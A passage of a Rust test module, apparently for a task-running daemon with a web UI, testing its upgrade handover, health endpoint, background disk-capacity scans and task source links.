22318 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22319 .await
22320 .unwrap();
22321 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22322 assert!(body["error"].as_str().unwrap().contains(reason));
22323 assert_eq!(body["retry_after_secs"], 120);
22324 assert!(body["retry_at"].as_u64().is_some());
22325 for _ in 0..2 {
22326 let view = health(State(ui.clone())).await.unwrap().0;
22327 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22328 assert_eq!(failure, body);
22329 }
22330 assert_eq!(
22331 std::fs::read(updater::progress_path(home.path())).unwrap(),
22332 before
22333 );
22334 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22335 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22336 let gate = ui.upgrade_gate.lock().await;
22338 assert_eq!(
22339 upgrade_post(State(ui.clone())).await.status(),
22340 StatusCode::CONFLICT
22341 );
22342 drop(gate);
22343 assert!(
22344 health(State(ui.clone()))
22345 .await
22346 .unwrap()
22347 .0
22348 .upgrade_request_error
22349 .is_some()
22350 );
22351 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22352 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22353 assert!(
22354 health(State(ui.clone()))
22355 .await
22356 .unwrap()
22357 .0
22358 .upgrade_request_error
22359 .is_none()
22360 );
22361 let live = ui.lock_loop().live.take().unwrap();
22362 live.stop.stop();
22363 live.handle.await.unwrap();
22364 }
22365
22366 #[tokio::test]
22367 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22368 use crate::updater::Stage;
22369 let repo = TempDir::new().expect("repo dir");
22370 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22371 .expect("write magi.toml");
22372 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22373 for stage in [Stage::Done, Stage::Failed] {
22374 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22375 let res = fx.post("/api/upgrade", None).await;
22376 assert_eq!(res.status, 200, "{stage:?}");
22377 }
22378 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22380 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22381 }
22382
22383 #[tokio::test]
22384 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22385 let repo = TempDir::new().expect("repo dir");
22401 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22402 .expect("write magi.toml");
22403 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22404
22405 let res = fx.post("/api/upgrade", None).await;
22411 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22412 let body = res.json();
22413 assert!(body["to"].is_null(), "there was no release to move to");
22414 assert!(body["parked"].is_null(), "and nothing was parked");
22415 assert!(
22416 body["detail"]
22417 .as_str()
22418 .unwrap()
22419 .contains("nothing restarted"),
22420 "{body:?}"
22421 );
22422 }
22423
22424 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22425 tokio::time::timeout(Duration::from_secs(5), async {
22426 while state.lock().unwrap().in_flight {
22427 tokio::task::yield_now().await;
22428 }
22429 })
22430 .await
22431 .expect("capacity scan finished");
22432 }
22433
22434 fn disk_test_scope(home: &FsPath) -> DiskScope {
22435 DiskScope {
22436 runs: home.join("runs"),
22437 worktrees: home.join("worktrees"),
22438 cache: Some(home.join("cache")),
22439 }
22440 }
22441
22442 fn known_disk_capacity() -> DiskCapacity {
22443 DiskCapacity {
22444 free_bytes: Some(100),
22445 runs_bytes: Some(200),
22446 worktrees_bytes: Some(300),
22447 cache_bytes: Some(400),
22448 }
22449 }
22450
22451 #[tokio::test]
22452 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22453 let home = TempDir::new().unwrap();
22454 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22455 let mut ui = delta_test_ui(home.path());
22456 let state = Arc::get_mut(&mut ui).unwrap();
22457 state.repo = home.path().to_owned();
22458 state.worktrees_root = home.path().join("worktrees");
22459 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22460 ui.monitor
22461 .worker_started
22462 .store(true, std::sync::atomic::Ordering::SeqCst);
22463 let cfg = deputy_config(&ui.repo);
22464 let scope = DiskScope::of(&ui, cfg.as_ref());
22465 let (started, reached) = tokio::sync::oneshot::channel();
22466 let (release, blocked) = std::sync::mpsc::channel();
22467 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22468 started.send(()).unwrap();
22469 blocked.recv().unwrap();
22470 known_disk_capacity()
22471 });
22472 assert!(cold.runs_bytes.is_none());
22473 tokio::time::timeout(Duration::from_secs(5), reached)
22474 .await
22475 .unwrap()
22476 .unwrap();
22477
22478 let requests: Vec<_> = (0..4)
22479 .map(|_| {
22480 let ui = ui.clone();
22481 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22482 })
22483 .collect();
22484 tokio::time::timeout(Duration::from_secs(5), async {
22485 for request in requests {
22486 let view = request.await.unwrap();
22487 let disk = serde_json::to_value(view.disk).unwrap();
22488 assert!(disk["runs_bytes"].is_null());
22489 assert!(disk["worktrees_bytes"].is_null());
22490 assert!(disk.get("free_bytes").is_none());
22491 }
22492 })
22493 .await
22494 .expect("health must return while the measurement is causally blocked");
22495 assert!(ui.monitor.disk.lock().unwrap().in_flight);
22496 assert!(
22498 ui.monitor
22499 .disk
22500 .lock()
22501 .unwrap()
22502 .capacity
22503 .runs_bytes
22504 .is_none()
22505 );
22506 release.send(()).unwrap();
22507 wait_for_disk_scan(&ui.monitor.disk).await;
22508 assert_eq!(
22509 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22510 Some(200)
22511 );
22512 }
22513
22514 #[tokio::test]
22515 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22516 let home = TempDir::new().unwrap();
22517 let scope = disk_test_scope(home.path());
22518 let state = Arc::new(Mutex::new(DiskObservation {
22519 scope: Some(scope.clone()),
22520 capacity: known_disk_capacity(),
22521 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22522 ..Default::default()
22523 }));
22524 let (started, reached) = tokio::sync::oneshot::channel();
22525 let (release, blocked) = std::sync::mpsc::channel();
22526 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22527 started.send(()).unwrap();
22528 blocked.recv().unwrap();
22529 DiskCapacity {
22530 runs_bytes: Some(250),
22531 ..Default::default()
22532 }
22533 });
22534 assert_eq!(before.cache_bytes, Some(400));
22535 tokio::time::timeout(Duration::from_secs(5), reached)
22536 .await
22537 .unwrap()
22538 .unwrap();
22539 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22540 for _ in 0..4 {
22541 let scans = duplicate_scans.clone();
22542 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22543 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22544 DiskCapacity::default()
22545 });
22546 assert_eq!(during.runs_bytes, Some(200));
22547 assert_eq!(during.cache_bytes, Some(400));
22548 }
22549 release.send(()).unwrap();
22550 wait_for_disk_scan(&state).await;
22551 let scans = duplicate_scans.clone();
22552 let after = DiskObservation::observe(&state, scope, move |_| {
22553 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22554 DiskCapacity::default()
22555 });
22556 wait_for_disk_scan(&state).await;
22557 assert_eq!(after.runs_bytes, Some(250));
22558 assert_eq!(after.free_bytes, Some(100));
22559 assert_eq!(after.cache_bytes, Some(400));
22560 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22561 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22562 }
22563
22564 #[tokio::test]
22565 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22566 let home = TempDir::new().unwrap();
22567 let old_scope = disk_test_scope(home.path());
22568 let mut new_scope = old_scope.clone();
22569 new_scope.cache = Some(home.path().join("replacement-cache"));
22570 let state = Arc::new(Mutex::new(DiskObservation {
22571 scope: Some(old_scope.clone()),
22572 capacity: known_disk_capacity(),
22573 ..Default::default()
22574 }));
22575 let (started, reached) = tokio::sync::oneshot::channel();
22576 let (release, blocked) = std::sync::mpsc::channel();
22577 DiskObservation::observe(&state, old_scope, move |_| {
22578 started.send(()).unwrap();
22579 blocked.recv().unwrap();
22580 known_disk_capacity()
22581 });
22582 tokio::time::timeout(Duration::from_secs(5), reached)
22583 .await
22584 .unwrap()
22585 .unwrap();
22586 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22587 let scans = duplicate_scans.clone();
22588 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22589 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22590 DiskCapacity::default()
22591 });
22592 assert!(changed.cache_bytes.is_none());
22593 assert!(changed.runs_bytes.is_none());
22594 release.send(()).unwrap();
22595 wait_for_disk_scan(&state).await;
22596 {
22597 let observation = state.lock().unwrap();
22598 assert!(observation.capacity.cache_bytes.is_none());
22599 assert!(observation.finished.is_none());
22600 }
22601 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22602 assert_eq!(scope, &new_scope);
22603 DiskCapacity {
22604 cache_bytes: Some(999),
22605 ..Default::default()
22606 }
22607 });
22608 wait_for_disk_scan(&state).await;
22609 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22610 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22611 }
22612
22613 #[tokio::test]
22614 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22615 let home = TempDir::new().unwrap();
22616 let scope = disk_test_scope(home.path());
22617 let state = Arc::new(Mutex::new(DiskObservation {
22618 scope: Some(scope.clone()),
22619 capacity: known_disk_capacity(),
22620 ..Default::default()
22621 }));
22622 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22623 wait_for_disk_scan(&state).await;
22624 {
22625 let mut observation = state.lock().unwrap();
22626 assert_eq!(observation.capacity.cache_bytes, Some(400));
22627 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22628 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22629 }
22630 DiskObservation::observe(&state, scope, |_| DiskCapacity {
22631 cache_bytes: Some(450),
22632 ..Default::default()
22633 });
22634 wait_for_disk_scan(&state).await;
22635 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22636 }
22637
22638 #[test]
22639 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22640 let home = TempDir::new().unwrap();
22641 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22642 assert_eq!(disk_capacity_size(home.path()), Some(0));
22643 std::fs::create_dir(home.path().join("nested")).unwrap();
22644 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22645 assert_eq!(disk_capacity_size(home.path()), Some(5));
22646 #[cfg(unix)]
22647 {
22648 assert_eq!(
22650 disk_capacity_size(&home.path().join("nested/data/child")),
22651 None
22652 );
22653 }
22654 #[cfg(unix)]
22655 {
22656 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22657 assert_eq!(disk_capacity_size(home.path()), Some(5));
22658 }
22659 }
22660
22661 #[tokio::test]
22662 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22663 let repo = TempDir::new().expect("repo dir");
22668 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22669 .expect("write magi.toml");
22670 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22671
22672 let health = fx.get("/api/health").await.json();
22673 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22674 assert_eq!(
22675 health["update"]["available"], false,
22676 "checking is off, which reads as \"unknown\", not \"none\""
22677 );
22678 assert!(health["update"]["to"].is_null());
22679 assert!(
22680 health["upgrade"].is_null(),
22681 "nothing has ever asked this deck to upgrade"
22682 );
22683 }
22684
22685 #[tokio::test]
22686 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22687 let fx = Fixture::start().await;
22688 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22689
22690 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22691 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22692 progress.advance(crate::updater::Stage::Parking);
22693 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22694
22695 let health = fx.get("/api/health").await.json();
22696 assert_eq!(health["upgrade"]["stage"], "parking");
22697 assert_eq!(health["upgrade"]["from"], "0.5.1");
22698 assert_eq!(health["upgrade"]["to"], "0.5.2");
22699 let waiting_on = health["upgrade"]["waiting_on"]
22700 .as_str()
22701 .expect("waiting_on is set while parking a known run");
22702 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22703 assert!(waiting_on.contains("implementing"), "{waiting_on}");
22704 }
22705
22706 #[tokio::test]
22707 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
22708 let fx = Fixture::start().await;
22709 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22710 progress.advance(crate::updater::Stage::Done);
22711 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22712
22713 let health = fx.get("/api/health").await.json();
22714 assert_eq!(health["upgrade"]["stage"], "done");
22715 assert!(
22716 health["upgrade"]["waiting_on"].is_null(),
22717 "nothing to wait on once it is done"
22718 );
22719 }
22720
22721 #[tokio::test]
22724 async fn the_handover_signal_wakes_one_waiter_once() {
22725 let signal = Notify::new();
22726 signal.notify_one();
22728 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22729 .await
22730 .expect("an early signal is still seen");
22731 assert!(
22733 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22734 .await
22735 .is_err(),
22736 "a consumed signal must not wake a second time"
22737 );
22738 let signal = std::sync::Arc::new(signal);
22740 let waiter = tokio::spawn({
22741 let signal = std::sync::Arc::clone(&signal);
22742 async move { wait_for_handover(&signal).await }
22743 });
22744 tokio::time::sleep(Duration::from_millis(20)).await;
22745 assert!(!waiter.is_finished(), "nothing was signalled yet");
22746 signal.notify_one();
22747 tokio::time::timeout(Duration::from_secs(5), waiter)
22748 .await
22749 .expect("a late signal wakes the waiter")
22750 .expect("join");
22751 }
22752
22753 #[tokio::test]
22754 async fn health_says_how_long_a_handover_has_been_stuck() {
22755 let fx = Fixture::start().await;
22756 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22757 progress.advance(crate::updater::Stage::Replaced);
22758 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22759 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22760
22761 let health = fx.get("/api/health").await.json();
22762 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22763 assert!(stuck >= 600, "{stuck}");
22764 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22765 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22766 }
22767
22768 #[tokio::test]
22769 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22770 let home = tempfile::tempdir().expect("temp home");
22771 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22772 progress.advance(crate::updater::Stage::Parking);
22773 crate::updater::write_progress(home.path(), &progress).expect("seed");
22774 let mut again = progress.clone();
22776 again.advance(crate::updater::Stage::Replaced);
22777 crate::updater::write_progress(home.path(), &again).expect("replaced");
22778 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22779 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22780 let after = crate::updater::read_progress(home.path()).expect("record");
22781 assert_eq!(after.stage, crate::updater::Stage::Parking);
22782 }
22783
22784 #[tokio::test]
22785 async fn health_does_not_call_a_live_parking_wait_stuck() {
22786 let fx = Fixture::start().await;
22787 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22788 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22789 progress.advance(crate::updater::Stage::Parking);
22790 let hours = Duration::from_secs(3 * 3600);
22791 progress.started_at = Timestamp::now() - hours;
22792 progress.updated_at = Timestamp::now() - hours;
22793 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22794 let _lease = crate::updater::LeaseGuard::enter(
22795 fx.home.path(),
22796 Some("20260905-000000-cd51".to_owned()),
22797 );
22798
22799 let health = fx.get("/api/health").await.json();
22800 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22801 assert!(health["upgrade"]["stuck_kind"].is_null());
22802 assert_eq!(health["upgrade"]["handover_alive"], true);
22803 let waiting_on = health["upgrade"]["waiting_on"]
22804 .as_str()
22805 .expect("waiting_on");
22806 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22807 }
22808
22809 fn idle_ui(home: &TempDir) -> Ui {
22810 let runs = home.path().join("runs");
22811 std::fs::create_dir_all(&runs).expect("runs dir");
22812 Ui::new(
22813 Queue::at(home.path().join("queue")),
22814 Questions::at(home.path().join("questions")),
22815 Talks::at(home.path().join("talks")),
22816 runs,
22817 home.path().to_path_buf(),
22818 PathBuf::from("/repo/magi"),
22819 )
22820 .with_launch(launch_idle)
22821 }
22822
22823 #[tokio::test]
22824 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
22825 let home = TempDir::new().expect("temp home");
22826 let ui = idle_ui(&home);
22827 let lease = crate::worker::try_lease(home.path(), "scheduler")
22828 .expect("scheduler lease")
22829 .expect("free");
22830 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
22831 .expect("request stop");
22832 let error = ui
22833 .start_detached_loop()
22834 .await
22835 .expect_err("transition is still live");
22836 assert_eq!(error.status, StatusCode::CONFLICT);
22837 assert!(error.message.contains("still running or stopping"));
22838 assert_eq!(
22839 crate::worker::control(home.path(), "scheduler").unwrap(),
22840 Some(crate::worker::Control::Stop)
22841 );
22842 drop(lease);
22843 }
22844
22845 #[tokio::test]
22846 async fn handover_releases_listener_without_waiting_for_execution_leases() {
22847 let home = TempDir::new().expect("temp home");
22848 let ui = idle_ui(&home);
22849 let turns = ui
22850 .begin_talk_turn("active-chat")
22851 .expect("claim")
22852 .expect("free");
22853 let execution = crate::worker::try_lease(home.path(), "active-task")
22854 .expect("execution lease")
22855 .expect("free");
22856 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22857 .await
22858 .expect("bind loopback");
22859 let address = listener.local_addr().expect("address");
22860 let admissions = Arc::clone(&ui.admissions);
22861 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22862 let successor_started = std::sync::atomic::AtomicBool::new(false);
22863 tokio::time::timeout(
22864 Duration::from_secs(2),
22865 hand_over(home.path(), &admissions, served, || {
22866 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
22867 Ok(1)
22868 }),
22869 )
22870 .await
22871 .expect("restart must not wait for execution")
22872 .expect("handover");
22873 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
22874 let successor = bind_waiting(address)
22877 .await
22878 .expect("successor binds released address");
22879 assert_eq!(successor.local_addr().unwrap(), address);
22880 assert!(turns.owns(), "the chat lease survives restart");
22881 assert!(
22882 crate::worker::try_lease(home.path(), "active-task")
22883 .unwrap()
22884 .is_none()
22885 );
22886 drop(execution);
22887 drop(turns);
22888 }
22889
22890 #[tokio::test]
22891 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
22892 let home = TempDir::new().expect("temp home");
22893 let ui = idle_ui(&home);
22894 let admission = ui.begin_admission().expect("admit send");
22895 let turn = ui
22896 .begin_talk_turn("active-chat")
22897 .expect("claim")
22898 .expect("free");
22899 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22900 .await
22901 .expect("bind loopback");
22902 let address = listener.local_addr().expect("address");
22903 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22904 let successor_called = std::sync::atomic::AtomicBool::new(false);
22905 let handover = hand_over(home.path(), &ui.admissions, served, || {
22906 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
22907 Ok(1)
22908 });
22909 tokio::pin!(handover);
22910 std::future::poll_fn(|cx| {
22913 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
22914 std::task::Poll::Ready(())
22915 })
22916 .await;
22917 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
22918 assert!(
22919 ui.begin_admission().is_err(),
22920 "new ingress cannot race the drain"
22921 );
22922 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
22923 drop(admission);
22924 tokio::time::timeout(Duration::from_secs(2), handover)
22925 .await
22926 .expect("only publication may delay restart")
22927 .expect("handover");
22928 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
22929 assert!(
22930 turn.owns(),
22931 "the detached chat turn is not awaited or cancelled"
22932 );
22933 assert!(
22934 ui.begin_admission().is_err(),
22935 "old accepted connections stay closed"
22936 );
22937 drop(turn);
22938 }
22939
22940 #[test]
22941 fn health_worker_metadata_never_contains_payload_or_result() {
22942 let view = WorkerView::from(crate::worker::Job {
22943 id: "job".into(),
22944 sequence: 1,
22945 kind: "service".into(),
22946 key: "maintenance".into(),
22947 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
22948 generation: "generation".into(),
22949 version: Some("1.2.3".into()),
22950 status: crate::worker::Status::Running,
22951 result: Some("private diagnostics".into()),
22952 pid: Some(4242),
22953 created_at: 1,
22954 finished_at: None,
22955 });
22956 let value = serde_json::to_value(view).expect("serialize public metadata");
22957 assert_eq!(value["version"], "1.2.3");
22958 assert_eq!(value["pid"], 4242);
22959 assert!(value.get("payload").is_none());
22960 assert!(value.get("result").is_none());
22961 assert!(!value.to_string().contains("private"));
22962 }
22963
22964 #[test]
22965 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
22966 let home = TempDir::new().expect("temp home");
22967 let ui = idle_ui(&home);
22968 std::fs::write(
22969 home.path().join("daemon.json"),
22970 serde_json::json!({
22971 "schema": 2, "pid": 4242, "worker_protocol": 1,
22972 "updated_at": Timestamp::now().to_string(), "idle": true,
22973 })
22974 .to_string(),
22975 )
22976 .expect("status");
22977 let reading = daemon::read_status(home.path());
22978 assert!(Foreign::of(reading.as_ref()).is_none());
22979 let view = ui.runtime_loop_view(reading, &[]);
22980 assert!(view.running);
22981 assert!(view.owned);
22982 }
22983
22984 #[test]
22985 fn only_an_explicit_one_requests_a_resume() {
22986 assert!(!resume_requested(None));
22987 assert!(!resume_requested(Some("0".into())));
22988 assert!(!resume_requested(Some("".into())));
22989 assert!(resume_requested(Some("1".into())));
22990 }
22991
22992 #[test]
22993 fn an_error_is_visible_from_where_the_button_is() {
22994 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22999 ..APP_CSS.find(".alert-text").expect(".alert-text")];
23000 assert!(
23001 alert.contains("position: fixed"),
23002 "an error about the thing under your thumb has to be visible from \
23003 where your thumb is: {alert}"
23004 );
23005 assert!(
23006 alert.contains("z-index: 25"),
23007 "above the dock (20) and the run-actions FAB (15), so neither \
23008 buries it: {alert}"
23009 );
23010 assert!(
23011 alert.contains("var(--tap)"),
23012 "and clear of the dock and the home indicator: {alert}"
23013 );
23014 assert!(
23017 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23018 "the FAB's column stays free: {alert}"
23019 );
23020 }
23021
23022 #[tokio::test]
23023 async fn an_older_attempt_says_what_replaced_it() {
23024 let fx = Fixture::start().await;
23025 let q = fx.queue();
23026 let runs = fx.runs();
23027 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23028 write_run(&runs, first, RunStatus::Stalled);
23029 write_run(&runs, second, RunStatus::Blocked);
23030
23031 let mut t = Task::new(
23032 "one task".to_owned(),
23033 "do it".to_owned(),
23034 PathBuf::from("/repo"),
23035 Source::Human,
23036 );
23037 t.runs = vec![first.to_owned(), second.to_owned()];
23038 q.put(&mut t).expect("put");
23039
23040 let rows = fx.get("/api/runs").await.json();
23044 let by = |short: &str| -> Value {
23045 rows.as_array()
23046 .unwrap()
23047 .iter()
23048 .find(|r| r["short"] == short)
23049 .cloned()
23050 .unwrap_or(Value::Null)
23051 };
23052 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23053 assert!(
23054 by("bbbb")["superseded_by"].is_null(),
23055 "the latest attempt is not superseded by anything"
23056 );
23057 assert!(APP_JS.contains("run.superseded_by"));
23059 assert!(APP_JS.contains("Superseded by"));
23060 }
23061
23062 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23063 let mut t = Task::new(
23064 "one task".to_owned(),
23065 "do it".to_owned(),
23066 PathBuf::from("/repo"),
23067 Source::Human,
23068 );
23069 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23070 t.status = status;
23071 t
23072 }
23073
23074 #[test]
23075 fn source_link_picks_the_page_that_filed_the_task() {
23076 let agent = |node: &str| Source::Agent {
23077 run: "20260904-014455-ab12".to_owned(),
23078 node: node.to_owned(),
23079 };
23080 let chat = source_link(&agent("chat")).expect("chat link");
23081 assert_eq!(chat.kind, "chat");
23082 assert_eq!(chat.id, "20260904-014455-ab12");
23083 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23084 let run = source_link(&agent("implement")).expect("run link");
23085 assert_eq!(
23086 (run.kind, run.href.as_str()),
23087 ("run", "#/runs/20260904-014455-ab12")
23088 );
23089 assert_eq!(source_link(&Source::Human), None);
23090 assert_eq!(
23091 source_link(&Source::Issue {
23092 number: 3,
23093 repo: "o/r".to_owned()
23094 }),
23095 None
23096 );
23097 let odd = source_link(&Source::Agent {
23098 run: "a b/c".to_owned(),
23099 node: "chat".to_owned(),
23100 })
23101 .expect("link");
23102 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23103 }
23104
23105 #[test]
23106 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23107 assert!(
23108 !APP_JS.contains("src.node === \"chat\""),
23109 "inline href rule is back"
23110 );
23111 assert!(
23112 APP_JS.matches("sourceLinkOf(").count() >= 4,
23113 "helper must serve every page"
23114 );
23115 assert!(
23116 APP_JS.matches("openChatLink(").count() >= 3,
23117 "the run page still needs its explicit chat link"
23118 );
23119 assert!(
23120 !APP_JS.contains("const openChat = el("),
23121 "the Queue card duplicates its source label link again"
23122 );
23123 assert!(
23124 APP_JS.contains("metaKids.push(link ? el(\"a\""),
23125 "the task page must link a chat source label too"
23126 );
23127 }
23128
23129 #[test]
23130 fn task_ref_carries_the_source_link_for_a_chat_task() {
23131 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23132 t.source = Source::Agent {
23133 run: "20260904-014455-ab12".to_owned(),
23134 node: "chat".to_owned(),
23135 };
23136 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23137 let v = serde_json::to_value(&out).expect("json");
23138 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23139 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23140 assert_eq!(v["source_label"], t.source.label());
23141
23142 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23143 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23144 .expect("json");
23145 assert!(v["source_link"].is_null(), "{v}");
23146 }
23147
23148 #[test]
23149 fn task_view_serializes_source_link() {
23150 let mut t = Task::new(
23151 "t".to_owned(),
23152 "t".to_owned(),
23153 PathBuf::from("/repo"),
23154 Source::Agent {
23155 run: "20260901-000000-aaaa".to_owned(),
23156 node: "implement".to_owned(),
23157 },
23158 );
23159 t.runs.clear();
23160 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23161 assert_eq!(v["source_link"]["kind"], "run", "{v}");
23162 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23163 }
23164
23165 #[test]
23166 fn task_view_serializes_urgent_flag() {
23167 let mut t = Task::new(
23168 "t".to_owned(),
23169 "t".to_owned(),
23170 PathBuf::from("/repo"),
23171 Source::Human,
23172 );
23173 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23174 assert_eq!(v["urgent"], false, "{v}");
23175 t.urgent = true;
23176 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23177 assert_eq!(v["urgent"], true, "{v}");
23178 assert!(APP_JS.contains("task.urgent === true"));
23179 }
23180
23181 #[tokio::test]
23182 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23183 let fx = Fixture::start().await;
23184 let runs = fx.runs();
23185 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23186 write_run(&runs, old, RunStatus::Blocked);
23187 write_run(&runs, new, RunStatus::Merged);
23188 let mut t = outcome_task(&[old, new], TaskStatus::Done);
23189 fx.queue().put(&mut t).expect("put");
23190
23191 let view = fx.get(&format!("/api/runs/{old}")).await.json();
23192 let task = &view["task"];
23193 assert_eq!(task["status"], "done");
23194 assert_eq!(task["is_latest"], false);
23195 assert_eq!(task["latest"]["short"], "bbbb");
23196 assert_eq!(task["finished_by"]["id"], new);
23197 assert_eq!(task["finished_by"]["outcome"], "merged");
23198 assert_eq!(task["closed_by_hand"], false);
23199 assert_eq!(view["status"], "blocked", "the run keeps its own status");
23200 assert!(APP_JS.contains("finished_by"));
23201 assert!(APP_JS.contains("superseded by run"));
23202 }
23203
23204 #[tokio::test]
23205 async fn the_latest_run_reports_a_held_task_without_a_successor() {
23206 let fx = Fixture::start().await;
23207 let runs = fx.runs();
23208 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
